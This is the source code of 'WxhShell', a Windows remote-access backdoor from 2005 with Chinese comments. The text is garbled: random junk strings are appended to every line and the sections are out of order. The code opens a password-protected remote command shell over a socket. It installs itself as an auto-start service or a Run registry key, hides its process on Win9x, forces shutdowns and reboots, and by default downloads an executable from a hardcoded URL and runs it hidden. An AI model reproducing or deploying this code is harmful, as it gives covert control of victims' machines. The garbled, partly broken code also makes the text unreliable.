  // 关机 ^<u9I5?  
  case 'd': { p>x[:*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (h&XtFul}  
    if(Boot(SHUTDOWN)) EY+/ foP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {p.D E  
    else { 3QM;K^$  
    closesocket(wsh); tFj[>_d7  
    ExitThread(0); *49({TD6`  
    } {9mXJu$cc  
    break; MC\rx=cR\  
    } `wGP31Y.  
  // 获取shell -O&u;kh4g  
  case 's': { V%|CCrR  
    CmdShell(wsh); CB!5>k+mC  
    closesocket(wsh); H|UGR ~&  
    ExitThread(0); M8Tj;ATr  
    break; v$n J$M&k  
  } pk>p|q  
  // 退出 I7=g8/JD  
  case 'x': { u V[:e|v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vH[G#A~4  
    CloseIt(wsh); s}1S6*Cr  
    break; [B0]%!hFw  
    } mE>v (JY  
  // 离开 #k}x} rn<'  
  case 'q': { 6I8A[   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,q_'l?Pn  
    closesocket(wsh); p-CBsm5P  
    WSACleanup(); \}:RG^*m  
    exit(1); A5WchS'  
    break; -9D2aY_>  
        } c>~q2_} W(  
  } E8gbm&x*  
  } uDe%M  
. W7Z pV  
  // 提示信息 H0dHW;U<1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U<|hIv-&  
} KzgW+6*G  
  } dx.,  
f52*s#4}  
  return; Ng Jp2ut  
} hwD;1n  
l^~E+F~  
// shell模块句柄 T> < Vw  
int CmdShell(SOCKET sock) Q85Y6',  
{ [\_#n5  
STARTUPINFO si; 'L k& iph  
ZeroMemory(&si,sizeof(si)); V eD<1<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !EwL"4pPw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #E'aa'P}  
PROCESS_INFORMATION ProcessInfo; (9!/bX<  
char cmdline[]="cmd"; %B#(d)T*-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <i1.W !%  
  return 0;  <u=k X  
} XT "-   
LK>J]p  
// 自身启动模式 G=VbEL^H  
int StartFromService(void) >du _/*8:  
{ \>7hT;Av=G  
typedef struct hRc.^"q9  
{ M~!DQ1u  
  DWORD ExitStatus; 4tGP- L  
  DWORD PebBaseAddress; U %,K8u|WH  
  DWORD AffinityMask; VX'cFqrK3  
  DWORD BasePriority; q@@C|oqEX  
  ULONG UniqueProcessId; Ho^rYz  
  ULONG InheritedFromUniqueProcessId; !et[Rdbu  
}   PROCESS_BASIC_INFORMATION; `@tn Eg  
l)P~#G+C  
PROCNTQSIP NtQueryInformationProcess; 8am/5o  
r5s$#,O/&Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P;8D|u^\*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wOg?.6<Kxa  
^_0l(ke  
  HANDLE             hProcess; B |pdqSI  
  PROCESS_BASIC_INFORMATION pbi; Z\ 1wEGP7{  
-~HyzX\cZB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i0jR~vF {B  
  if(NULL == hInst ) return 0; QRw/d}8l  
wF\5 X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QE\t}>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); } N$soaUs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 97L|IZ s)  
?c7} v  
  if (!NtQueryInformationProcess) return 0; ^6?)EM#  
J|gRG0O9Ya  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }$wWX}@  
  if(!hProcess) return 0; ==^9_a^  
`9>1 w d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?*K{1Ghf  
4\rwJD<  
  CloseHandle(hProcess); M#'j7EMu  
]N#%exBVo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2sXNVo8`w"  
if(hProcess==NULL) return 0; jjTb:Z=.'  
q"OJF'>w5  
HMODULE hMod; id=:J7!QU  
char procName[255]; + m+v1(@  
unsigned long cbNeeded; a*T=;P3(I  
b$,~S\\c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >`S $(f  
~L55l2u7  
  CloseHandle(hProcess); <5fb, @YN  
MzP q(`W  
if(strstr(procName,"services")) return 1; // 以服务启动 )_-EeH  
KhFw%Z0s<  
  return 0; // 注册表启动 gOSFvH8FU  
} P-25]-  
KJQW))%e  
// 主模块 V W2+ Bs}  
int StartWxhshell(LPSTR lpCmdLine) jSKhWxL;'  
{ d:"#_  
  SOCKET wsl; 1{0 L~  
BOOL val=TRUE; VAL]\@Q}  
  int port=0; Oh]RIWL  
  struct sockaddr_in door; W_\~CntyZ  
M7x*LiKc2  
  if(wscfg.ws_autoins) Install(); N#!**Q 0  
ZaKT~f%%z  
port=atoi(lpCmdLine); NAnccB D!{  
%c`P`~sp  
if(port<=0) port=wscfg.ws_port; 3;t{V$  
fZ7Ap3dmP  
  WSADATA data; #UYrSM@u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i7#PYt  
:IB@@5r1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O% }EpIP_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K|Kc.   
  door.sin_family = AF_INET; M0$wTmXM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "IE*MmsEz  
  door.sin_port = htons(port); MjrI0@R  
Pr_$%x9D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $?FA7=_  
closesocket(wsl); &'{?Y;A  
return 1; }r _d{nhi  
} SAUfA5|e  
iI 4XM>`a  
  if(listen(wsl,2) == INVALID_SOCKET) { ^h^\kW'#  
closesocket(wsl); FQp@/H^  
return 1; kE` V@F  
} D&C83^m  
  Wxhshell(wsl); \:[J-ySJ  
  WSACleanup(); ^W)h=49PN  
"u=U@1 ^  
return 0; b>_eD-  
-z6{!  
} = 3("gScUj  
3{"MN=  
// 以NT服务方式启动 K H&o`U(}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R'e>YDC  
{ "gQA|NHwV  
DWORD   status = 0; +`_Km5=  
  DWORD   specificError = 0xfffffff; C#3K.0a  
R|OY5@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8RE"xJMff  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q(0eq_X|6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G1z0q3< B  
  serviceStatus.dwWin32ExitCode     = 0; Qi?xx')  
  serviceStatus.dwServiceSpecificExitCode = 0; %<?U`o@*  
  serviceStatus.dwCheckPoint       = 0; .R! /?eN  
  serviceStatus.dwWaitHint       = 0; hY5tBL  
,2*x4Gycb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z!> H^v  
  if (hServiceStatusHandle==0) return; Z}NMDb:t  
RX6s[uQ  
status = GetLastError(); x+;"(]#  
  if (status!=NO_ERROR) vOnhJN  
{ *v6 j7<H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r@v_hc  
    serviceStatus.dwCheckPoint       = 0; ?$Tp|<tx#  
    serviceStatus.dwWaitHint       = 0; 0n('F  
    serviceStatus.dwWin32ExitCode     = status; {DVu* %|  
    serviceStatus.dwServiceSpecificExitCode = specificError; E3`&W8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O\=c&n~`  
    return; n+qa/<  
  } _G1C5nkDl4  
*\4u:1Cu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2Ysl|xRo  
  serviceStatus.dwCheckPoint       = 0; ZBcT@hxm  
  serviceStatus.dwWaitHint       = 0; @b2JR^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -ZKo/ N>6}  
} `j1(GQt  
?V >{3  
// 处理NT服务事件,比如:启动、停止 ;c;5O@R}3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ouO<un  
{ AC& }8w[>u  
switch(fdwControl) 1 ^q~NYTK  
{ trAIh}Dj  
case SERVICE_CONTROL_STOP: KH_~DZU*5  
  serviceStatus.dwWin32ExitCode = 0; eT<T[; m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8H<:?D/tH  
  serviceStatus.dwCheckPoint   = 0; $EUlh^  
  serviceStatus.dwWaitHint     = 0; [L4s.l_#  
  { |WMP_sGn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Ir{ax&H.e  
  } sPoH12?AL  
  return; *!p#1fE  
case SERVICE_CONTROL_PAUSE: rJ7yq|^Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4y$tp1 8  
  break; OEwKT7CX  
case SERVICE_CONTROL_CONTINUE: q\q8xF~[p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .*acw  
  break; 8&2W^f5  
case SERVICE_CONTROL_INTERROGATE: )xPfz  
  break; "1X@t'H38  
}; gI5"\"T{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IP3%'2}-  
} uFH ]w] X  
r)Dln5F  
// 标准应用程序主函数 B4d\4S_r%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NL7CeHs5  
{ _Vl22'wl  
WY3D.z-</  
// 获取操作系统版本 yWkg4  
OsIsNt=GetOsVer(); mO|YX/>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p%?m|(4f  
OqNtTk+  
  // 从命令行安装 J=@D]I*3  
  if(strpbrk(lpCmdLine,"iI")) Install(); ']cRSj.  
g[ dI%  
  // 下载执行文件 m.0: R  
if(wscfg.ws_downexe) { ,rZp(moj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "T+oXK\B  
  WinExec(wscfg.ws_filenam,SW_HIDE); o1B8_$aYgc  
} . v L4@_  
G$T#ql  
if(!OsIsNt) { /Q*o6G ys0  
// 如果时win9x,隐藏进程并且设置为注册表启动 YKtF)N;m]  
HideProc(); F-SD4a  
StartWxhshell(lpCmdLine); $lYy`OuC  
} q o^PS  
else @}[yC['  
  if(StartFromService()) {!G  
  // 以服务方式启动 kl/eJN'S  
  StartServiceCtrlDispatcher(DispatchTable); gLGu#6YVu  
else (s?Rbd  
  // 普通方式启动 8kA2.pIk  
  StartWxhshell(lpCmdLine); ZT'VF~  
e <]^7pz  
return 0; 0%f}w0]:  
} XNd%3rm,  
7>sNjOt@M  
52H'aHO1  
08 $y1;  
=========================================== I(2qXOG  
Y(D&JKx  
qzbpLV|  
-o`Eka!ELz  
c@&-c[k^W  
rz'A#-?'oG  
" IA$)E  
%40uw3  
#include <stdio.h> v0|[w2Q2  
#include <string.h> ecg>_%.>  
#include <windows.h> k.MAX8  
#include <winsock2.h> MfJ8+3@K  
#include <winsvc.h> npD`9ff  
#include <urlmon.h> &R7N^*He  
\ f6@B:?y  
#pragma comment (lib, "Ws2_32.lib") t<%S_J\  
#pragma comment (lib, "urlmon.lib") q5D_bm7,3  
m5w ZS>@  
#define MAX_USER   100 // 最大客户端连接数 EqB3f_  
#define BUF_SOCK   200 // sock buffer H,I k&{@j  
#define KEY_BUFF   255 // 输入 buffer fP :26pK^  
h'D-e5i  
#define REBOOT     0   // 重启 n>|7 k3  
#define SHUTDOWN   1   // 关机 KOqp@K$  
W:z?w2{VI(  
#define DEF_PORT   5000 // 监听端口 Vy6A]U\%  
<.6bni )  
#define REG_LEN     16   // 注册表键长度 6&Al9+$  
#define SVC_LEN     80   // NT服务名长度 ^P| K2at  
6%nKrK  
// 从dll定义API 72;4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A"$UU6Z4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Aqp$JM >  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FdZG%N>Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @2HNYW)  
0w24lVR.  
// wxhshell配置信息 E?@batIrf  
struct WSCFG { KTzkJx  
  int ws_port;         // 监听端口 |#x]FNg  
  char ws_passstr[REG_LEN]; // 口令 h_{//W[  
  int ws_autoins;       // 安装标记, 1=yes 0=no PX%Y$`  
  char ws_regname[REG_LEN]; // 注册表键名 4IEF{"c_8  
  char ws_svcname[REG_LEN]; // 服务名 g*uo2-MN&e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sh|@X\EZO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 COC6H'F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :kMEL*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Wdp?<U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2S`D7R#6s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vI)-Zz[3  
J#L"kz  
}; ag~4m5n*~  
K$K6,54y  
// default Wxhshell configuration &1k2J   
struct WSCFG wscfg={DEF_PORT, Pn;Tg7oz  
    "xuhuanlingzhe", nWd]P\a'V  
    1, GNIZHyT(O  
    "Wxhshell", vXA+4 ?ZG  
    "Wxhshell", x<-n}VK\  
            "WxhShell Service", equTKM  
    "Wrsky Windows CmdShell Service", {8YNmxF#  
    "Please Input Your Password: ", _r6aLm2n  
  1, EP ;TfWc}1  
  "http://www.wrsky.com/wxhshell.exe", B > sTM  
  "Wxhshell.exe" $2?10}mrx  
    }; \@ j YY~  
nKP[U=ac  
// 消息定义模块 Ba]J3Yp,z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uBPxMwohR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l-GQ AI8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @aX$}  
char *msg_ws_ext="\n\rExit."; ~SWR|[  
char *msg_ws_end="\n\rQuit."; U <|h4'(@L  
char *msg_ws_boot="\n\rReboot..."; P<1ZpL  
char *msg_ws_poff="\n\rShutdown..."; }/{G  
char *msg_ws_down="\n\rSave to "; BRu/pyxG  
mF|7:zSo  
char *msg_ws_err="\n\rErr!"; [`u3SN/P  
char *msg_ws_ok="\n\rOK!"; ^{vf|zZ _  
/<\B8^yQ  
char ExeFile[MAX_PATH]; tCw.wDq3=  
int nUser = 0; Tn'_{@E;  
HANDLE handles[MAX_USER]; Gxj3/&]^Y  
int OsIsNt; $G_,$U !  
3Xun>ZQ-  
SERVICE_STATUS       serviceStatus; IQz:D J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +/L "A  
qq)Dh'5*e,  
// 函数声明 j |N8"8"  
int Install(void); l_Ffbs_6t  
int Uninstall(void); qBkI9H  
int DownloadFile(char *sURL, SOCKET wsh); t mCm54  
int Boot(int flag); |6mDooTy  
void HideProc(void); :Y AxL J  
int GetOsVer(void); KG5h$eM'  
int Wxhshell(SOCKET wsl); =h#3D?b0n  
void TalkWithClient(void *cs); bkZ~O=uv$-  
int CmdShell(SOCKET sock); WrS|$: 0  
int StartFromService(void); }.uB6&!:  
int StartWxhshell(LPSTR lpCmdLine); U!0 Qf7D  
g7-=kmr|V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %Q0J$eC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bx>)i8P7i0  
"HuV'  
// 数据结构和表定义 !E0zj9 [ R  
SERVICE_TABLE_ENTRY DispatchTable[] = -}h+hS50F  
{ s /? &H-  
{wscfg.ws_svcname, NTServiceMain}, vWM3JH~a6  
{NULL, NULL} |] <eJ|\=  
}; {APsi7HYBr  
P [.BK  
// 自我安装 |kUxTe  
int Install(void) b0~AN#Es  
{ _-vf<QO]  
  char svExeFile[MAX_PATH]; `3v! i   
  HKEY key; jmcb-=ts  
  strcpy(svExeFile,ExeFile); Or0eY#c  
YEEgDw]BQ  
// 如果是win9x系统,修改注册表设为自启动  QTN _Z#'  
if(!OsIsNt) { g' xR$6t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q=M\#MlL0'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q 16jL,i  
  RegCloseKey(key); a!;]9}u7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =s2dD3Fr|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t5%\`Yo?  
  RegCloseKey(key); *mc]Oa  
  return 0; &*}NN5Sv  
    } T@n-^B!Xq  
  } Zl0Kv *S  
} :?Xd&u0){  
else { 5 W<\J  
?:Y0#Btj  
// 如果是NT以上系统,安装为系统服务 3lyk/',  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g[rxK n\Z  
if (schSCManager!=0) MNE{mV(  
{ 8-N8v *0  
  SC_HANDLE schService = CreateService KPGX/l  
  ( 0/8rYBV  
  schSCManager, Q]';1#J\  
  wscfg.ws_svcname, ZWC-<QO"<  
  wscfg.ws_svcdisp, idm!6]  
  SERVICE_ALL_ACCESS, ?UXKy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xwg|fr+p  
  SERVICE_AUTO_START, _)J;PbK~  
  SERVICE_ERROR_NORMAL, wAr (5nEbx  
  svExeFile, $B6"fYiDk  
  NULL, BReNhk)S  
  NULL, cxTP4\T\E  
  NULL, {gE19J3  
  NULL, uzO%+B!  
  NULL apxZ}  
  ); 4:\s.Z{!3  
  if (schService!=0) KzRw)P  
  { 1cE3uA7  
  CloseServiceHandle(schService); dbTPY`  
  CloseServiceHandle(schSCManager); G?LPj*=$?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u,:GJU  
  strcat(svExeFile,wscfg.ws_svcname); v535LwFW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 10v4k<xb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G: FP9  
  RegCloseKey(key); IqK??KSC  
  return 0; #zC_;u$  
    } 0]l _qxv  
  } x+zz:^yHYf  
  CloseServiceHandle(schSCManager); \UI7H1XDH  
} 4h>Dpml  
} 1FU(j*~:  
0>Y3>vwSl  
return 1; 7Op6> i  
} fX).A`  
\ajy%$;$}  
// 自我卸载 4,m aA  
int Uninstall(void) Cf`s:A5<J  
{ (W3~r  
  HKEY key; .jRp.U  
etdI:N*x  
if(!OsIsNt) { UQ#"^`=R<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ql5NSQ>{  
  RegDeleteValue(key,wscfg.ws_regname); "d'D:>z]%  
  RegCloseKey(key); u8pJjn;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x^kV;^ I  
  RegDeleteValue(key,wscfg.ws_regname); 5V&3m@d0aq  
  RegCloseKey(key); <syMrXk)R(  
  return 0; SwV{t}I  
  } 'qS&7 W(  
} 3]BK*OqJ  
} X cmR/+  
else { &g R+D  
DVxW2J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !es?GJq`  
if (schSCManager!=0) M]YK]VyG  
{ Z@fMU2e=Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2xvTijO0  
  if (schService!=0) !|{T>yy  
  { 6q ._8%  
  if(DeleteService(schService)!=0) { ${^WM}N  
  CloseServiceHandle(schService); Hc1S:RW  
  CloseServiceHandle(schSCManager); :T(3!}4  
  return 0; H8+7rM  
  } /t`s.!k  
  CloseServiceHandle(schService); T+7O+X#  
  } won;tO]\;@  
  CloseServiceHandle(schSCManager); m @) ~.E  
} s/+@o:  
} )(`I1"1   
X TpYf  
return 1; F@Qzh  
} RnV )*  
E7-il;`cKn  
// 从指定url下载文件 g$<Sh.4A  
int DownloadFile(char *sURL, SOCKET wsh) mt$0p|B8  
{ 5y;texsj[  
  HRESULT hr; -@{5 u d  
char seps[]= "/"; !E<y:$eH:  
char *token; e;9Z/);#s  
char *file; }p 0 \  
char myURL[MAX_PATH]; HV@ C@wmg  
char myFILE[MAX_PATH]; d 6 t#4!  
F)'kN2  
strcpy(myURL,sURL); H'E(gc)>)  
  token=strtok(myURL,seps); Q@gmtAp  
  while(token!=NULL) <eP`Lu"  
  { Jhdo#}Ub  
    file=token; 5 s3!{zT{  
  token=strtok(NULL,seps); c3,YA,skb!  
  } lt\. )Y>4  
k^ B<t'  
GetCurrentDirectory(MAX_PATH,myFILE); -0rc4<};h  
strcat(myFILE, "\\"); {%W'Zx  
strcat(myFILE, file); !5lb+%7  
  send(wsh,myFILE,strlen(myFILE),0); T.\=R  
send(wsh,"...",3,0); W8{g<. /  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H/"$#8-/  
  if(hr==S_OK) ]t$wK  
return 0; &`+tWL6L  
else .d{@`^dh1]  
return 1; 7]se!k,  
\ vf&Ldk  
} OolYQU1_  
vz'/]E  
// 系统电源模块 V0 70oZ  
int Boot(int flag) LbCcOkL/@@  
{ _Q XC5i  
  HANDLE hToken; +/+:D9j ,  
  TOKEN_PRIVILEGES tkp; w)}' {]P"c  
*K}h >b 1  
  if(OsIsNt) { ndW]S7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aY:u-1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;1x(~pD*o  
    tkp.PrivilegeCount = 1; cV8Bl="gqe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zsM3 [2E*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >JOEp0J  
if(flag==REBOOT) { >#pZ`oPEAv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4Wsp PHj  
  return 0; GnTCq_\  
} oUSv)G.zb  
else { /:S&1'=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,u.G6"<  
  return 0; &Ul8h,qw  
} dV/ ^@[  
  } r@WfZ  Z  
  else { 7bk=D~/nSg  
if(flag==REBOOT) { Ec2?'*s   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yyZs[5Q  
  return 0; QVT|6znw  
} 1s\   
else { qnO>F^itF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r2b_$  
  return 0; o57r ,`N  
} pDYcsC{p  
} rf\/Y"D  
I \Luw*:  
return 1; .I h'&  
} CpGy'Ia  
"@s</HGo  
// win9x进程隐藏模块 :<QmG3F  
void HideProc(void) a8w/#!^34  
{ "A9qC*6[  
Pl/}`H:R&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sa?Ul)L2  
  if ( hKernel != NULL ) >U7{EfUJdx  
  { 2=]Xe#5J=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [H4)p ,R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _GW,9s^A  
    FreeLibrary(hKernel); 'lWgHmE  
  } #ULjK*)R  
qT153dNA&  
return; EX"o9'  
} k`(Cwp{Oc  
V'M#."Of/  
// 获取操作系统版本 *!5X!\e_  
int GetOsVer(void) B'}pZOa[Wb  
{ xq@_' 3X  
  OSVERSIONINFO winfo; G4<M@ET  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S4O'N x  
  GetVersionEx(&winfo); fUKi@*^ZUa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oVAY}q|wU  
  return 1; :iEIo7B  
  else R!z32 <5k  
  return 0; pP|LSr Y!  
} bmP2nD6  
Ge_Gx*R  
// 客户端句柄模块 p|0ZP6!|  
int Wxhshell(SOCKET wsl) @9AK!I8f  
{ ^| r6>b  
  SOCKET wsh; {lO>i&mx  
  struct sockaddr_in client; hd%O\D?  
  DWORD myID; /RBIZ_  
ir<K"wi(2  
  while(nUser<MAX_USER) jccSjGX@w  
{ 4?',E ddo  
  int nSize=sizeof(client); fN_Ilg)t?5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tO~o-R  
  if(wsh==INVALID_SOCKET) return 1; M{)|9F  
H$)__V5I,q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S4C4_*~Vd  
if(handles[nUser]==0) q]rqFP0C  
  closesocket(wsh); 8S#TOeQ  
else @!KG;d:l  
  nUser++; }!^`%\ %\  
  } !.c no&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L a8D%N  
fqm-?vy}  
  return 0; W8N__  
} #McX  
W{X5~w(  
// 关闭 socket Sej(jJX1  
void CloseIt(SOCKET wsh) bZCNW$C3l  
{ vT;~\,M  
closesocket(wsh); \}:;kO4f  
nUser--; 6QX2&[qWS  
ExitThread(0); z|v/h UrD  
} 5-! Zm]  
{1L{   
// 客户端请求句柄 u,`cmyZ  
void TalkWithClient(void *cs) >p>B-m  
{ =v6qr~  
JLh{>_Rr  
  SOCKET wsh=(SOCKET)cs; Ocf:73t  
  char pwd[SVC_LEN]; V*%Lc9<d  
  char cmd[KEY_BUFF]; r68d\N`.  
char chr[1]; cIQ e^C  
int i,j; 3Bbd2[<W  
4;)aGN{e  
  while (nUser < MAX_USER) { Psw<9[  
NxrfRhaU3  
if(wscfg.ws_passstr) { 3Q2z+`x'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TQ69O +  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .9$ 7 +  
  //ZeroMemory(pwd,KEY_BUFF); "W@>lf?"  
      i=0; rtT*2k*  
  while(i<SVC_LEN) { ueLdjASJ  
c^8csQ fG  
  // 设置超时 {O5(O oDa  
  fd_set FdRead; c;doxNd6  
  struct timeval TimeOut; R=<uf:ca  
  FD_ZERO(&FdRead); G~{#%i  
  FD_SET(wsh,&FdRead); @ayrI]m#>,  
  TimeOut.tv_sec=8; Z ItS(o J.  
  TimeOut.tv_usec=0; -m_H]<lWZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8^5@J) R8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m:]60koz]o  
LLd5Z44v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z c&i 4K  
  pwd=chr[0]; u$ a7  
  if(chr[0]==0xd || chr[0]==0xa) { ';KZ.D  
  pwd=0; !Nx'4N`&l  
  break; I`S?2i2H  
  } Ybp';8V  
  i++; pe>[Ts`2F  
    } XG8UdR|  
)|`w;F>  
  // 如果是非法用户,关闭 socket n1)~/ >  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0xzS9  
} !w{(}n2Wq  
pg/SYEvsV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n7iIY4gZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v 0D@`C  
VdF<#(X+  
while(1) { 2}kJN8\F  
iE* Y@E5x0  
  ZeroMemory(cmd,KEY_BUFF); zTW)SX_O  
4C`p`AQqpQ  
      // 自动支持客户端 telnet标准   uTRFeO>  
  j=0; %^}|HG*i??  
  while(j<KEY_BUFF) { 3\H0Nkubts  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cOb ,Md  
  cmd[j]=chr[0]; >/9on.  
  if(chr[0]==0xa || chr[0]==0xd) { YTV|]xpR  
  cmd[j]=0; A?ij  
  break; LHHDD\X   
  } ySNXjH Q=  
  j++; c|(&6(r  
    } SoNT12>  
*7^w}v+.  
  // 下载文件 LNI]IITx/  
  if(strstr(cmd,"http://")) { 0%;y'd**Ck  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;Ff5ooL{  
  if(DownloadFile(cmd,wsh)) e3}o3c_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t+2,;G  
  else 2sYOO>  
